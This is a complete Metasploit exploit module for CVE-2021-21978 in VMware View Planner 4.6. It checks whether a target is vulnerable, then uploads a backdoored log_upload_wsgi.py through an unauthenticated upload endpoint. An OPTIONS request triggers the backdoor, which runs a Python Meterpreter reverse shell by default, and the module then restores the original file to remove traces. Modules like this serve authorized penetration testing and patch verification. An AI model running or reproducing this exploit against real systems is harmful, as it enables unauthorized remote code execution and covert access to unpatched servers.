## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'VMware View Planner Unauthenticated Log File Upload RCE', 'Description' => %q{ This module exploits an unauthenticated log file upload within the log_upload_wsgi.py file of VMWare View Planner 4.6 prior to 4.6 Security Patch 1. Successful exploitation will result in RCE as the apache user inside the appacheServer Docker container. }, 'Author' => [ 'Mikhail Klyuchnikov', # Discovery 'wvu', # Analysis and PoC 'Grant Willcox' # Metasploit Module ], 'References' => [ ['CVE', '2021-21978'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0003.html'], ['URL', 'https://attackerkb.com/assessments/fc456e03-adf5-409a-955a-8a4fb7e79ece'] # wvu's PoC ], 'DisclosureDate' => '2021-03-02', # Vendor advisory 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => 'python', 'Targets' => [ [ 'VMware View Planner 4.6.0', { 'Arch' => ARCH_PYTHON, 'Type' => :linux_command, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wsgi_log_upload', 'log_upload_wsgi.py') ) unless res return CheckCode::Unknown('Target did not respond to check.') end unless res.code == 200 && !res.body.empty? return CheckCode::Safe('log_upload_wsgi.py file not found at the expected location.') end @original_content = res.body # If the server responded with the contents of log_upload_wsgi.py, lets save this for later restoration. if res.body&.include?('import hashlib') && res.body&.include?('if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key:') return CheckCode::Safe("Target's log_upload_wsgi.py file has been patched.") end CheckCode::Appears('Vulnerable log_upload_wsgi.py file identified!') end # We need to upload a file twice: once for uploading the backdoor, and once for restoring the original file. # As the code for both is the same, minus the content of the file, this is a generic function to handle that. def upload_file(content) mime = Rex::MIME::Message.new mime.add_part(content, 'application/octet-stream', nil, "form-data; name=\"logfile\"; filename=\"#{Rex::Text.rand_text_alpha(20)}\"") mime.add_part('{"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}', nil, nil, 'form-data; name="logMetaData"') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'logupload'), 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) unless res.to_s.include?('File uploaded successfully.') fail_with(Failure::UnexpectedReply, "Target indicated that the file wasn't uploaded successfully!") end end def exploit # Here we want to grab our template file, taken from a clean install but # with a backdoor section added to it, and then fill in the PAYLOAD placeholder # with the payload we want to execute. data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname) file_content = File.read(File.join(data_dir, 'log_upload_wsgi.py')) payload.encoded.gsub!(/"/, '\\"') file_content['PAYLOAD'] = payload.encoded # Now that things are primed, upload the file to the target. print_status('Uploading backdoor to system via the arbitrary file upload vulnerability!') upload_file(file_content) print_good('Backdoor uploaded!') # Use the OPTIONS request to trigger the backdoor. Technically this # could be any other method including invalid ones like BACKDOOR, but for # the purposes of stealth lets use a legitimate one. print_status('Sending request to execute the backdoor!') send_request_cgi( 'method' => 'OPTIONS', 'uri' => normalize_uri(target_uri.path, 'logupload') ) ensure # At this point we should have our shell after waiting a few seconds, # so lets now restore the original file so we don't leave anything behind. print_status('Reuploading the original code to remove the backdoor!') upload_file(@original_content) print_good('Original file restored, enjoy the shell!') end end